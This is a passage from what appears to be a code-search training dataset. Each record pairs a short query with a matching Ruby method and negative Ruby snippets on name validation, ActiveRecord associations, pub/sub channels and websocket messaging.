"def validate_first_and_last_name\n error_message = \"\"\n error_message += \"First/Last Name should be Alphanumeric, hyphen or period only!\" if $IS_PARTNER_BAC &&\n !last_name.blank? && !first_name.blank? &&\n (last_name.match(/\\.{2}|\\-{2}|^[\\-\\.]+$/) ||\n !last_name.match(/^[A-Za-z0-9\\-\\.]*$/)) &&\n (first_name.match(/\\.{2}|\\-{2}|^[\\-\\.]+$/) ||\n !first_name.match(/^[A-Za-z0-9\\-\\.]*$/))\n\n error_message += \"First/Last Name should be Alphanumeric, hyphen, space or period only!\" if !$IS_PARTNER_BAC &&\n facility.details[:patient_name_format_validation] &&\n !last_name.blank? && !first_name.blank? &&\n (last_name.match(/\\.{2}|\\-{2}|\\s{2}|^[\\-\\.\\s]+$/) ||\n !last_name.match(/^[A-Za-z0-9\\-\\s\\.]*$/)) &&\n (first_name.match(/\\.{2}|\\-{2}|\\s{2}|^[\\-\\.\\s]+$/) ||\n !first_name.match(/^[A-Za-z0-9\\-\\s\\.]*$/))\n \n errors.add(:base, error_message) unless error_message == \"\"\n end",
"def matching_first_name_last_name\n /\\b[A-Z\\d]\\w*\\s+[A-Z]\\w+/\n end",
"def name_check?(input)\n (/#{input}/.match(@name.downcase) || /#{input}/.match(@last_name.downcase)) ? true : false\n end",
"def clean_full_name(first_name, last_name)\n puts \"#{first_name.downcase.capitalize}#{last_name.downcase.capitalize}\"\nend",
"def normalize_names\n # When given, last_name & first_name take precendece over complete_name:\n if !@first_name.to_s.empty? || !@last_name.to_s.empty?\n @complete_name = [@last_name, @first_name].join(' ')\n\n elsif !@complete_name.to_s.empty?\n # Normalize multi-space separator between last_name and first_name.\n # We must find a \"separator length\" that at least results in a last_name+first_name\n # array:\n splitted_name = @complete_name.gsub(/\\s{3,}/, ' ').split(' ')\n splitted_name = (splitted_name[0]).split(' ') if splitted_name.size < 2\n if splitted_name.size == 2 # Use last & first name only when the splitting is certain\n @last_name = splitted_name[0]\n @first_name = splitted_name.reject { |s| s == @last_name }.join(' ')\n end\n @complete_name = @complete_name.gsub(/\\s+/, ' ')\n end\n end",
"def name_valid_format\n if name.present? and not name.match(/[\\w]+([\\s]+[\\w]+){1}+/)\n errors.add :name , \"must be seperated by space and should not contain any special characters.\"\n end\n end",
"def clean_full_name(first_name, last_name)\n\nputs \"#{first_name.downcase.capitalize} #{last_name.downcase.capitalize} \"\n\nend",
"def full_name_format\n valid_full_name = true\n\n if !self.name.nil?\n # Must contains white space\n valid_full_name = false if (/^(.*\\s+.*)+$/i =~ self.name).nil?\n # Must be alpha\n valid_full_name = false if(/^[A-Z]+$/i =~ self.name.remove(' ')).nil?\n else\n valid_full_name = false\n end\n\n if !valid_full_name\n self.errors.add(:name, 'deve ser Completo')\n raise ActiveRecord::Rollback\n end\n end",
"def validate_name\n if name == nil || name.empty?\n errors.add(:name, \"Must enter a name\")\n elsif name.size < 3\n errors.add(:name, \"Must be 3 or more characters\")\n # match all words .scan(/\\w+/)\n elsif name.scan(/\\w+/).size > 2\n errors.add(:name, \"Must be two words or less\")\n end\n end",
"def letters_only_first_name\n if first_name !~ /[[:alpha:]]/\n errors.add(:first_name, \"can only contain letters\")\n end\n end",
"def has_middle_name\n @full_name.split(' ').length >= 3\n end",
"def first_name_one_word\n if first_name.include? \" \"\n errors.add(:first_name, \"cannot be more than 1 word\")\n end\n end",
"def validate_patient_name(facility)\r\n error_message = \"\"\r\n error_message += \"Patient Name - First/Last should be Alphanumeric, hyphen or period only!\" if $IS_PARTNER_BAC &&\r\n !patient_last_name.blank? && !patient_first_name.blank? &&\r\n (patient_last_name.match(/\\.{2}|\\-{2}|^[\\-\\.]+$/) ||\r\n !patient_last_name.match(/^[A-Za-z0-9\\-\\.]*$/)) &&\r\n (patient_first_name.match(/\\.{2}|\\-{2}|^[\\-\\.]+$/) ||\r\n !patient_first_name.match(/^[A-Za-z0-9\\-\\.]*$/))\r\n\r\n error_message += \"Patient Name - First/Last should be Alphanumeric, hyphen, space or period only!\" if !$IS_PARTNER_BAC &&\r\n facility.details[:patient_name_format_validation] &&\r\n !patient_last_name.blank? && !patient_first_name.blank? &&\r\n (patient_last_name.match(/\\.{2}|\\-{2}|\\s{2}|^[\\-\\.\\s]+$/) ||\r\n !patient_last_name.match(/^[A-Za-z0-9\\-\\s\\.]*$/)) &&\r\n (patient_first_name.match(/\\.{2}|\\-{2}|\\s{2}|^[\\-\\.\\s]+$/) ||\r\n !patient_first_name.match(/^[A-Za-z0-9\\-\\s\\.]*$/))\r\n error_message += \" Patient Name - Middle Initial should be letters only!\" if !patient_middle_initial.blank? && !patient_middle_initial.match(/^[A-Za-z]*$/)\r\n error_message unless error_message == \"\"\r\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Sets the owner attributes on the given record
|
def set_owner_attributes(record)
if @owner.persisted?
construct_owner_attributes.each { |key, value| record[key] = value }
end
end
|
[
"def set_record_ownerable(record=current_record)\n access_denied(\"Record in set_record_ownerable is blank.\") if record.blank?\n access_denied(record, \"Record does not respond to ownerable.\") unless record_respond_to_ownerable?(record)\n @record_ownerable = record.send(ownerable_name)\n access_denied(record, \"Record ownerable is blank.\") if record_ownerable.blank?\n debug_message('#record_ownerable', \"set to #{msg_class_id record_ownerable}.\") if debug?\n access_denied(record, \"Invalid record ownerable class #{record_ownerable.class.name}.\") unless valid_ownerable_class?(record_ownerable)\n access_denied(record, \"User cannot [#{ownerable_ability_action.inspect}] ownerable #{msg_class_id record_ownerable}.\") unless can?(ownerable_ability_action, record_ownerable)\n debug_message('@ownerable_auth?', \"user can [#{ownerable_ability_action.inspect}] ownerable.\") if debug?\n end",
"def set_owner(new_owner)\n @owner = new_owner\n end",
"def apply_owner_metadata\n owner = owner_from_attributes || user\n curation_concern.edit_users += [owner.user_key]\n curation_concern.owner = owner.user_key\n end",
"def set_owner\n @current_resource.owner(current_owner)\n end",
"def set_owner(owner)\n self.__owner__ = owner if owner\n self\n end",
"def setOwner _obj, _args\n \"_obj setOwner _args;\" \n end",
"def set_entry_owner(entry)\n entry.send \"#{@options[:parent_assoc_name]}_id=\", @owner.id\n end",
"def set_owner(obj)\n obj == nil ? missing_owner : @owner = obj\n end",
"def owner=(value)\n @owner = value\n end",
"def set_owner_from_creator\n self.owner = creator\n end",
"def set_owner #:doc:\n self.owner_class.owner= get_current_owner\n end",
"def setOwnerId(ownerId)\r\n\t\t\t\t\t@ownerId = ownerId\r\n\t\t\t\tend",
"def set_owner(ownername)\n @result.owner = ownername\n end",
"def autoset_owner\n bypass_auth do\n if accessor\n self.owner_id ||= accessor.id\n end\n end\n\n true # this is very important!\n end",
"def set_belongs_to_association_for(record)\n if @reflection.options[:as]\n if @owner.respond_to?(:polymorphic_type) && @owner.polymorphic_type\n resource_type = @owner.polymorphic_type\n else\n resource_type = @owner.class.base_class.name.to_s\n end\n record[\"#{@reflection.options[:as]}_id\"] = @owner.id if @owner.persisted?\n record[\"#{@reflection.options[:as]}_type\"] = resource_type\n else\n if @owner.persisted?\n primary_key = @reflection.options[:primary_key] || :id\n record[@reflection.primary_key_name] = @owner.send(primary_key)\n end\n end\n end",
"def add_owner(owner)\n @owner_info = owner\n end",
"def set_owner(owner_sid, path)\n sd = get_security_descriptor(path)\n\n if owner_sid != sd.owner\n sd.owner = owner_sid\n set_security_descriptor(path, sd)\n end\n end",
"def __owner__= owner\n @__owner = owner\n end",
"def set_owner(owner_sid, path)\n old_sid = get_owner(path)\n\n change_sid(old_sid, owner_sid, OWNER_SECURITY_INFORMATION, path)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Returns a hash linking the owner to the association represented by the reflection
|
def construct_owner_attributes(reflection = @reflection)
attributes = {}
if reflection.macro == :belongs_to
attributes[reflection.association_primary_key] = @owner.send(reflection.primary_key_name)
else
attributes[reflection.primary_key_name] = @owner.send(reflection.active_record_primary_key)
if reflection.options[:as]
attributes["#{reflection.options[:as]}_type"] = @owner.class.base_class.name
end
end
attributes
end
|
[
"def owner\r\n @property_hash[:owner]\r\n end",
"def owner_dic\n if self.owner_id && @owner = Company.find(self.owner_id)\n return @owner.dic\n else\n return \"\"\n end\n end",
"def association_owner_key(assoc, key)\n k = 'activerecord.associations.models.'\n k << assoc.active_record.model_name.singular\n k << '.'\n k << assoc.name.to_s\n k << '.'\n k << key.to_s\n end",
"def association_reflection\n @opts[:association_reflection]\n end",
"def association_reflection(name)\n association_reflections[name]\n end",
"def container_reflection\n @container_reflection ||= @owner.class._reflect_on_association(@reflection.options[:through])\n end",
"def association_path(reflection)\n prefix = self.class.prefix\n collection_name = self.class.collection_name\n member_id = URI.parser.escape id.to_s\n extension = reflection.klass.format.extension\n\n \"#{prefix}#{collection_name}/#{member_id}/#{reflection.name}.#{extension}\"\n end",
"def association_reflections\n @association_reflections ||= {}\n end",
"def association_metadata(reflection)\n case reflection\n when ActiveRecord::Reflection::HasAndBelongsToManyReflection\n AssociationMetadata.new(\n reflection.join_table,\n reflection.foreign_key,\n reflection.association_foreign_key\n )\n when ActiveRecord::Reflection::ThroughReflection\n AssociationMetadata.new(\n reflection.through_reflection.table_name,\n reflection.through_reflection.foreign_key,\n reflection.association_foreign_key\n )\n else\n raise ArgumentError, \"Association '#{reflection.name}' is not a supported type\"\n end\n end",
"def association_reflection(name)\n association_reflections[name]\n end",
"def association_for(reflection)\n inverse = inverse_association_name(reflection)\n Registry[reflection.klass].detect do |mapping|\n association = mapping.associations.detect { |a| a.name == inverse }\n break association if association\n end\n end",
"def container_association_proxy\n @owner.send(@reflection.options[:through])\n end",
"def replicate_reflection_info(reflection)\n options = reflection.options\n if options[:polymorphic]\n reference_class =\n if ::ActiveRecord::VERSION::MAJOR == 3 && ::ActiveRecord::VERSION::MINOR > 0\n attributes[reflection.foreign_type]\n else\n attributes[options[:foreign_type]]\n end\n return if reference_class.nil?\n\n klass = reference_class.constantize\n primary_key = klass.primary_key\n foreign_key = \"#{reflection.name}_id\"\n else\n klass = reflection.klass\n primary_key = (options[:primary_key] || klass.primary_key).to_s\n foreign_key = (options[:foreign_key] || \"#{reflection.name}_id\").to_s\n end\n\n info = {\n :class => klass,\n :primary_key => primary_key,\n :foreign_key => foreign_key\n }\n\n if primary_key == klass.primary_key\n if id = attributes[foreign_key]\n info[:replicant_id] = [klass.to_s, id]\n else\n # nil value in association reference\n end\n else\n # association uses non-primary-key foreign key. no special key\n # conversion needed.\n end\n\n info\n end",
"def belongs_to_to_hash\n {}.tap do |hash|\n self.__source.belongs_to_custom_fields.each do |name, _|\n if target = self.__source.send(name.to_sym)\n if self.html_view?\n hash[\"#{name}_id\"] = target._id\n else\n hash[name.to_s] = target._slug\n end\n end\n end\n end\n end",
"def owner\n @principal_properties['uri']\n end",
"def attr_hash\n md5 = Digest::MD5.new\n @ruby_types.each do |k,typ|\n md5.update typ.attr_hash\n end\n md5.hexdigest\n end",
"def owner\n @principal_info['uri']\n end",
"def all_association_reflections\n association_reflections.values\n end",
"def owner_association_name\n parent.node_name\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Private: checks the mapper policy against its class opts The Hash containing the policy filter data. Return: true if it fulfills the policy and false if it does not.
|
def verify_policy(opts)
result = policy.constantize.call(opts)
rescue NameError
result = true
ensure
return result
end
|
[
"def check_policy(policy)\n if policy\n allow = (policy['policy'] == 'allow') ? true : false\n return allow == (check_restriction(policy['caller'], 'fact') &&\n check_restriction(policy['classes'], 'class') &&\n check_restriction(policy['compound'], 'compound') &&\n check_restriction(policy['params'], 'param'))\n end\n\n true\n end",
"def can_perform( ctrl_name, action_name )\n row = AppParameter.where( \"code >= #{AppParameter::PARAM_BLACKLIST_ACCESS_START} and code <= #{AppParameter::PARAM_BLACKLIST_ACCESS_END} and controller_name='#{ctrl_name}' and action_name='#{action_name}'\" ).first\n if ( row )\n# DEBUG\n# puts \"=> [#{self.name}] can_perform( #{ctrl_name}, #{action_name} )? #{(self.authorization_level >= row.a_integer)}.\\r\\n\"\n return ( self.authorization_level >= row.a_integer )\n else\n# DEBUG\n# puts \"=> [#{self.name}] can_perform( #{ctrl_name}, #{action_name} )? No restrictions found.\\r\\n\"\n return true\n end\n end",
"def use?(opts)\n !(opts.keys & @takes).empty?\n end",
"def check_capabilities(filter)\n capabilities = ddl.discovery_interface[:capabilities]\n\n unless capabilities.include?(:classes)\n raise \"Cannot use class filters while using the '%s' discovery method\" % discovery_method unless filter[\"cf_class\"].empty?\n end\n\n unless capabilities.include?(:facts)\n raise \"Cannot use fact filters while using the '%s' discovery method\" % discovery_method unless filter[\"fact\"].empty?\n end\n\n unless capabilities.include?(:identity)\n raise \"Cannot use identity filters while using the '%s' discovery method\" % discovery_method unless filter[\"identity\"].empty?\n end\n\n unless capabilities.include?(:compound)\n raise \"Cannot use compound filters while using the '%s' discovery method\" % discovery_method unless filter[\"compound\"].empty?\n end\n end",
"def hasPolicy?(_class, log_level)\n\t\tkey = _class.to_s\n\t\tvalue = false\n\n\t\tif @logger_policies.has_key?(key) == true &&\n\t\t\t@logger_policies[key] & log_level > 0\n\t\t\tvalue = true\n\t\tend\n\n\t\treturn value\n\tend",
"def defer?(klass, opts = nil)\n _jobs, filters = Thread.current[:sidekiq_deferred_jobs_jobs]\n return false if filters.nil?\n filters.any? { |filter| filter.match?(klass, opts) }\n end",
"def could_ever?( operation, klass )\n klass = klass.name if klass.is_a?( Class )\n klass_perms = perms_for_class(klass)\n return !klass_perms.nil? &&\n (!klass_perms[operation].nil? || !klass_perms[:any].nil?)\n end",
"def run_policies(operator, label, opts)\n key = opts.dup # ignore the cache option in the key\n key.delete(:cache)\n key = key.to_a\n\n args = opts[:target].nil? ? [label] : [label, opts[:target]] # work out which policies to grab\n policies = Merb::Authorization.policies_from_label(*args)\n \n # If we're allowed to cache, and the item has already been run, return that\n if use_cache?(opts)\n already_run = check_cache(policies, key)\n return true if already_run == true\n policies = policies - already_run\n end\n \n # Runnem\n result = false\n policies.each do |policy|\n result = run_policy(operator, policy, use_cache?(opts), key, opts)\n break if result\n end\n result\n end",
"def mapping_allowed?\n self.dig_for_boolean(\"isAllowMapping\")\n end",
"def passes_prefilter?(_transition)\n true\n end",
"def param_permitted?( *p )\n if p.length < 1 then\n raise ArgumentError.new( 'param_permitted? argument list must contain at least one item' )\n else\n p.each do |e|\n raise ArgumentError.new( 'param_permitted? argument must be a Symbol' ) unless e.kind_of? Symbol\n end\n end\n # check\n l = 0\n n = p.length\n a = @wf_permits[ @wf_current_index ][ @wf_current_task ]\n while n > 1\n # look for Hash with key p[ l ]\n found = false\n a.each do |e|\n if e.kind_of?( Hash )&& e.has_key?( p[ l ]) then\n a = e[ p[ l ]]\n l += 1\n n -= 1\n found = true\n break\n end\n end\n return false if not found\n end\n a.include?( p[ l ])\n end",
"def can?(klass, *actions)\n actions.each do |action|\n if permissions.find_by(model: klass.to_s, action: action).present?\n return true\n end\n end\n false\n end",
"def pokemon_matching_requirements?(pkmn, wanted_data)\n return pkmn.id == wanted_data[0] && pkmn.level >= wanted_data[1] &&\n pkmn.level <= wanted_data[2] && (wanted_data[3] == 0 || pkmn.gender == wanted_data[3])\n end",
"def set_active_policy(opts)\n opts = check_params(opts,[:policy_names])\n super(opts)\n end",
"def valid?\n return false unless self.class.required_aesthetics.all?{ |m| has_map?(m) }\n return false unless @map.keys.all?{ |k| self.class.requires_aesthetic?(k) || self.class.optional_aesthetic?(k) }\n return true\n end",
"def process_hash?(hash)\n return true unless hash['skip_if'] || hash['only_if']\n\n skip_lambdas = normalize_ifs(hash['skip_if'])\n only_lambdas = normalize_ifs(hash['only_if'])\n\n if skip_lambdas\n return false if skip_lambdas.any? { |s| s.call }\n end\n\n if only_lambdas\n return false unless only_lambdas.all? { |s| s.call }\n end\n\n true\n end",
"def has_policy(sec, ptype, rule)\n model.key?(sec) && model[sec].key?(ptype) && model[sec][ptype].policy.include?(rule)\n end",
"def valid?(map)\n return true if whitelisted_value?(map)\n\n map.is_a?(Hash) && map.values.all? { |value| subprop.valid?(value) }\n end",
"def should_run_for(resource, goal)\n if @rule[1].arity == 2\n rule_accepts = @rule[1].call(resource, @params)\n else\n rule_accepts = @rule[1].call(resource)\n end\n return false unless rule_accepts\n !@extra.find do |condition|\n !condition.should_run_for(resource, goal)\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
publishes to a channel some data (can be anything)
|
def publish(channel, data)
send_action('publish', channel, data)
end
|
[
"def publish(channel, data, id=nil, prev_id=nil)\n @pub.publish(channel, Item.new(JsonObjectFormat.new(data), id, prev_id))\n end",
"def publish_data(channel, data)\n redis = EM::Hiredis.connect(Settings.redis)\n redis.publish(channel, data).callback do\n # only close connection after complete the publish\n redis.close_connection\n end\n end",
"def publish(channel, message); end",
"def publish(data)\n faye_client.publish data_channel, id: object_id, data: data\n end",
"def write( data )\n @channel.send_data data\n @channel.connection.process true\n end",
"def publish(channel, event, data)\n Pusher[channel].trigger(event,data)\n end",
"def publish_async(channel, data, id=nil, prev_id=nil, callback=nil)\n @pub.publish_async(channel, Item.new(JsonObjectFormat.new(data), id,\n prev_id), callback)\n end",
"def publish(channel, content, publish_props = {})\n bayeux_message = {\n :channel => channel,\n :data => content\n }\n queue_send(publish_props.merge(bayeux_message))\n end",
"def publish(channel, message, options = {})\n end",
"def sends_channel_data(channel, data)\n events << LocalPacket.new(:channel_data, channel.remote_id, data)\n end",
"def subscribe_to_channel; end",
"def publish msg\n @conn.send_data :opcode => PUBLISH, :channel => @name, :data => msg.to_s\n end",
"def publish(channels, item)\n @clients.each do |pub|\n pub.publish(channels, item)\n end\n end",
"def publish(topic, key, data)\n key = topic+'.'+key\n gamex_publish(key, data)\n end",
"def publish; pubsub.publish(self); end",
"def publish( channel, message )\n # Check we are not publishing to a wildcard channel\n STDERR.puts 'Can\\'t publish to a wildcard channel!' if is_channel_wildcard?(channel)\n @client.publish(channel, message)\n end",
"def publish(action, data = nil)\n key = action_to_key action\n value = { action: key, data: data.to_s }\n @redis.rpush(QUEUE_KEY, value.to_json)\n end",
"def publish(name, data={})\n trigger(name, data)\n end",
"def publish(channel, *args)\n if @pub_sub_list\n @pub_sub_list[channel].each do |obj|\n begin\n obj.send(channel, *args)\n rescue NoMethodError => e\n raise \"#{self} tried to publish to #{channel} but #{obj} doesn't implement it: #{e}\"\n end\n end\n end\n if @block_channels\n @block_channels[channel].each do |block|\n block.call(*args)\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
unsubscribes all clients subscribed to a channel
|
def unsubscribe_clients(channel)
send_action('unsubscribe_clients', channel)
end
|
[
"def unsubscribe_all\n @subscribed_channels.each do |channel_name|\n unsubscribe channel_name\n end\n end",
"def unsubscribe(*channels); end",
"def unsubscribe_from_channel; end",
"def unsubscribe_all\n @subscribers.clear if defined? @subscribers\n end",
"def unsubscribe channel\n @client.unsubscribe channel\n end",
"def unsubscribe(*channels)\n delegate.unsubscribe(\n @app.socket_digest(@app.socket_connection_id),\n *channels\n )\n end",
"def unsubscribe_webhook\n if @redis\n @redis.pubsub.unsubscribe(subscribed_channel)\n @redis.close_connection\n end\n end",
"def unsubscribe_all\n @registry.unsubscribe_all\n end",
"def unsubscribe( callback )\n\t\t@subscriptions.values.each {|cbset| cbset.delete(callback) }\n\tend",
"def unsubscribe\n currentSubscriptions = nil\n\n @gate.synchronize do\n unless @unsubscribed\n @unsubscribed = true\n currentSubscriptions = @subscriptions\n @subscriptions = []\n @length = 0\n end\n end\n\n currentSubscriptions.each {|subscription| subscription.unsubscribe} if currentSubscriptions\n end",
"def unsubscribe(*channels)\n channels = Array.ensure(channels).flatten\n raise ArgumentError if channels.empty?\n delegate.unsubscribe(@app.socket_digest(@app.socket_connection_id), channels)\n end",
"def unsubscribe( callback )\n\t\tself.subscriptions.keys.each do |pattern|\n\t\t\tcbset = self.subscriptions[ pattern ]\n\t\t\tcbset.delete( callback )\n\t\t\tself.subscriptions.delete( pattern ) if cbset.empty?\n\t\tend\n\tend",
"def unsubscribe(channel, data)\n super\n async.redis_action('unsubscribe', channel)\n end",
"def unsubscribe(*actions)\n @redis.punsubscribe(*map_actions(actions))\n end",
"def onclose\n @subscriptions.each do |channel_id, subscription_id|\n channel = find_channel channel_id\n channel.try :unsubscribe, subscription_id\n end\n end",
"def all\n get(\"#{domain}/unsubscribes\")\n end",
"def unsubscribe\n subscriptions.values.each(&:unsubscribe)\n @on_unsubscribe.call(self) if @on_unsubscribe\n end",
"def unsubscribe(client_id, channel_symbols, options = {})\n channel_symbols = [channel_symbols] unless channel_symbols.is_a? Array\n\n channel_subscriber_ids = []\n subscriptions_hash = @channel_subscriptions[client_id] ||= {}\n\n unless (channel_symbols & [ALL_CHANNELS_SHORTCUT.to_s]).empty? && (channel_symbols & [ALL_CHANNELS_SHORTCUT.to_sym]).empty?\n # If :_all_ (symbol) or '_all_' (string) is given as channel_symbols...\n channel_symbols = subscriptions_hash.keys\n end\n\n channel_symbols.each do |channel_symbol|\n channel_symbol = channel_symbol.to_sym\n if !subscriptions_hash[channel_symbol].nil?\n # Only if the client is subscribed...\n\n channel_subscriber_id = subscriptions_hash[channel_symbol]\n @channels[channel_symbol].unsubscribe(channel_subscriber_id)\n subscriptions_hash.delete(channel_symbol)\n @channel_subscribers[channel_symbol].delete(client_id)\n channel_subscriber_ids << channel_subscriber_id\n\n # Must also be sent to the client directly (via web socket) in order that it receives the unsubscribe notification...\n notify(:type => :debug, :code => 2020, :receivers => [@qsif[:client_manager].web_socket(:client_id => client_id), @channels[channel_symbol]], :params => {:client_id => client_id, :channel_symbol => channel_symbol.to_s, :channel_subscriber_id => channel_subscriber_id})\n else\n notify(:type => :error, :code => 2021, :receivers => @qsif[:client_manager].web_socket(:client_id => client_id), :params => {:client_id => client_id, :channel_symbol => channel_symbol.to_s})\n end\n end\n\n return channel_subscriber_ids\n end",
"def handle_unsubscribe_from_channels(origin_client_id, params)\n channel_symbols = params[:channels]\n options = {}\n @qsif[:channel_manager].unsubscribe(origin_client_id, channel_symbols, options)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
method used to send messages to the webserver checks too see if the message is a hash and if it is it will transform it to JSON and send it to the webser otherwise will construct a JSON object that will have the key action with the value 'message" and the key message witth the parameter's value
|
def chat(message)
final_message = nil
if message.is_a?(Hash)
final_message = message.to_json
else
final_message = JSON.dump(action: 'message', message: message)
end
log_to_file("#{self.class} sends JSON #{final_message}")
send_data(final_message)
end
|
[
"def send_message\n send_user_id, target_user_id, content = params[:send_user_id], params[:target_user_id], params[:conent]\n message_hash = {\n send_user_id: send_user_id,\n target_user_id: target_user_id,\n content: content\n }.keep_if{|k,v| v.present? }\n message = Message.new(message_hash)\n\n if message.save\n # push message to sockect server\n push_message({message: message})\n\n render json: {sucess: true, message_sequence: message.message_sequence, id: message.id}\n else\n render json: message.errors\n end\n end",
"def write(message = '')\n body = DEFAULT_PARAMS.merge @params\n body['stimulus'] = message\n body['icognocheck'] = digest(HashConversions.to_params(body))\n\n parsed_response = send_message_request(body)\n\n message = parsed_response['message']\n parsed_response.keep_if { |key, value| DEFAULT_PARAMS.keys.include? key }\n @params.merge! parsed_response\n @params.delete_if { |key, value| DEFAULT_PARAMS[key] == value }\n message\n end",
"def send_hash(cmd_hash)\n json = JSON.generate(cmd_hash)\n send_json() \n end",
"def typer(session, message, options={})\n json_request \"message\", {:session => session,\n :message => message}, options\n end",
"def send_message(msg)\n send_raw_message(JSON.generate(msg))\n end",
"def sendResponse(message)\n\treturn {'success' => 'true', 'message' => message}.to_json\nend",
"def send_basic_message(message)\n\n resp = validate_message(message)\n if resp.result != SendResult.enum[\"Success\"]\n resp\n end\n\n req_factory = InjectionRequestFactory.new(@server_id, @api_key)\n request = req_factory.generate_request(message)\n\n # debug\n request_hash = request.to_hash\n debug_json = request_hash.to_json\n @request_json = debug_json\n\n http_request = HttpRequest.new(http_method, { :http_endpoint => @endpoint, :proxy => @proxy })\n response = http_request.send_request(request)\n @response_json = response.to_json\n\n end",
"def message_handler(data)\n if respond_to?(:on_message)\n payload = JSON.parse(data.to_s)\n message = Message.new(self.uri.to_s, *payload.first)\n on_message(message)\n end\n rescue => err\n exception_handler(err)\n end",
"def send_message\n chat = Chat.find(params[:chat])\n SendMessageToChat.call(@previa_group, chat, params[:message])\n\n respond_to do |format|\n format.html { redirect_to previa_group_chat_path(@previa_group, :chat => chat) }\n format.json { head :no_content }\n end\n end",
"def send_message(message, wait_for_response = true)\n debug_log(\"sending message: #{message.to_json}\")\n puts message.to_json\n STDOUT.flush\n return nil unless wait_for_response\n response = STDIN.gets\n debug_log(\"received response: #{response}\")\n JSON.parse(response)\nend",
"def create_message(data); end",
"def send_message(type, message=nil)\n message = message.nil? ? message = '' : message.to_json\n body = type + ' ' + message\n body.strip!\n length = body.bytesize\n @client.write(\"#{length}\\n#{body}\")\n end",
"def format_notification(message)\n hash = {:item=>message.value}\n {\"jsonrpc\"=>\"2.0\", \"method\"=>message.signal, \"params\"=>hash }.to_blix_json\n end",
"def create_message_shop_ios\n\t @client_message = params[:message]\n\t @user_id = params[:user_id]\n\t @shop_name = params[:shop_name]\n\t @message = Shop.new(:user_id => @user_id, :shop_name =>@shop_name, :message => @client_message)\n\t if @message.save(:validate => false)\n\t @shop=Shop.where(\"user_id=?\", @user_id)\n\t respond_to do |format|\n\t msg = { :status => \"ok\", :chat => @shop }\n\t format.json { render :json => msg } # don't do msg.to_json\n\t end\n\t else\n\t respond_to do |format|\n\t msg = { :status => \"error\", :message => \"Not Save\"}\n\t format.json { render :json => msg }\n\t end\n\t end\n\tend",
"def new_message\n\t\t#ajax is passing and handling the params... All through YUI. For now, let YUI handle that instead of Rails...\n\t\t@message = Message.new(:body => params[:msg_body], :zone_id => params[:listing_id], :user_id => 2) \n\t\t\n\t\t\n\t\t#should we return the whole thing or just what's needed?\n\t\tjson_response = {\n\t\t\t\"success\" => @message.save, #save to DB and assign true/false based on success...\n\t\t\t\"message\" => @message.attributes #USE attributes to show output the content of the @message obj, and not another object called \"message\"\n\t\t}\n\t\t\n\t\trespond_to do |format| \n\t\t\tformat.html { render:json => json_response } \n\t\t\tformat.xml { render :xml => @post } \n\t\tend \n\tend",
"def create\n @chat_message = ChatMessage.new(params[:chat_message])\n\n send_message(@chat_message.body)\n\n respond_to do |format|\n if @chat_message.save\n format.html { redirect_to @chat_message, notice: 'Chat message was successfully created.' }\n format.json { render json: @chat_message, status: :created, location: @chat_message }\n else\n format.html { render action: \"new\" }\n format.json { render json: @chat_message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_create\n @message = Message.new\n @message.user_id = params[:message][:user_id]\n @message.room_id = params[:message][:room_id]\n @message.content = params[:message][:content]\n @message.save\n\n #Generate de js to publish\n jsScript = createMessage(@message)\n PrivatePub.publish_to(\"/rooms/#{@message.room_id}\", jsScript)\n\n respond_to do |format|\n if @message.update_attributes(params[:message])\n format.json { render json: @message}\n else\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def message(body: T.unsafe(nil), to: T.unsafe(nil), from: T.unsafe(nil), action: T.unsafe(nil), method: T.unsafe(nil), status_callback: T.unsafe(nil), **keyword_args); end",
"def send\n self.message.values = [parameters, false, \"nil\", \"\", command_message]\n self.body = message.encode\n super\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Send the data given by the data param if running on a posix system this uses Ruby's fork method to send if on windows fork won't be attempted. +data+:: the data to send +type+:: :text or :binary, defaults to :text
|
def send_data(data, type = :text)
pid = Thread.new do
do_send(data, type)
end
end
|
[
"def send(data, type = :text)\n if IS_WINDOWS\n do_send(data, type) #fork not supported on windows\n else\n pid = fork do\n do_send(data, type)\n end\n Process.detach(pid)\n end\n end",
"def send_data(data)\n str_data = data.pack('C*')\n super(str_data)\n end",
"def send_binary data\n send data, :binary\n end",
"def send_raw(data)\n # puts \"Sending data\"\n # puts_data(data)\n write(data)\n end",
"def send_data(data)\n @connection.send_data(data)\n end",
"def send_data( data, format = CF_TEXT, item = \"\" )\n data_pointer = FFI::MemoryPointer.from_string(data.to_s)\n result, trans_id = start_transaction(XTYP_POKE, data_pointer, data_pointer.size, format, item)\n result\n end",
"def send_data(pipe, data)\n pipe.write(data, \"\\n#{MSG_ENDI}\\n\")\nend",
"def send_binary(data)\n @driver.binary(data)\n end",
"def send data, type = :guess\n case type\n when :guess\n if data.encoding == Encoding::BINARY\n type = :binary\n elsif Encoding.compatible?(data.encoding, Encoding::UTF_8)\n type = :text\n else\n raise ArgumentError, \"Invalid encoding.\"\n end\n when :text\n unless Encoding.compatible?(data.encoding, Encoding::UTF_8)\n raise ArgumentError, \"Invalid encoding\"\n end\n when :binary\n #\n else\n raise ArgumentError, \"Invalid type specified\"\n end\n\n # data.b is necessary for the current implementation of websocket gem library.\n frame = ::WebSocket::Frame::Outgoing::Client.new(data: data.b, type: type, version: @version)\n\n result = @write_queue.process_frame frame\n raise result if result.kind_of? StandardError\n end",
"def send_data(data)\n raise EOFError, \"cannot send data if channel has declared eof\" if eof?\n\n output.append(data.to_s)\n end",
"def send_data(data)\n @transcript << data\n @output << data\n end",
"def write( data )\n @channel.send_data data\n @channel.connection.process true\n end",
"def serialize(_object, data)\n IO.popen(@cmd, 'w') {|io| io.write(data) }\n end",
"def send_text data\n send data, :text\n end",
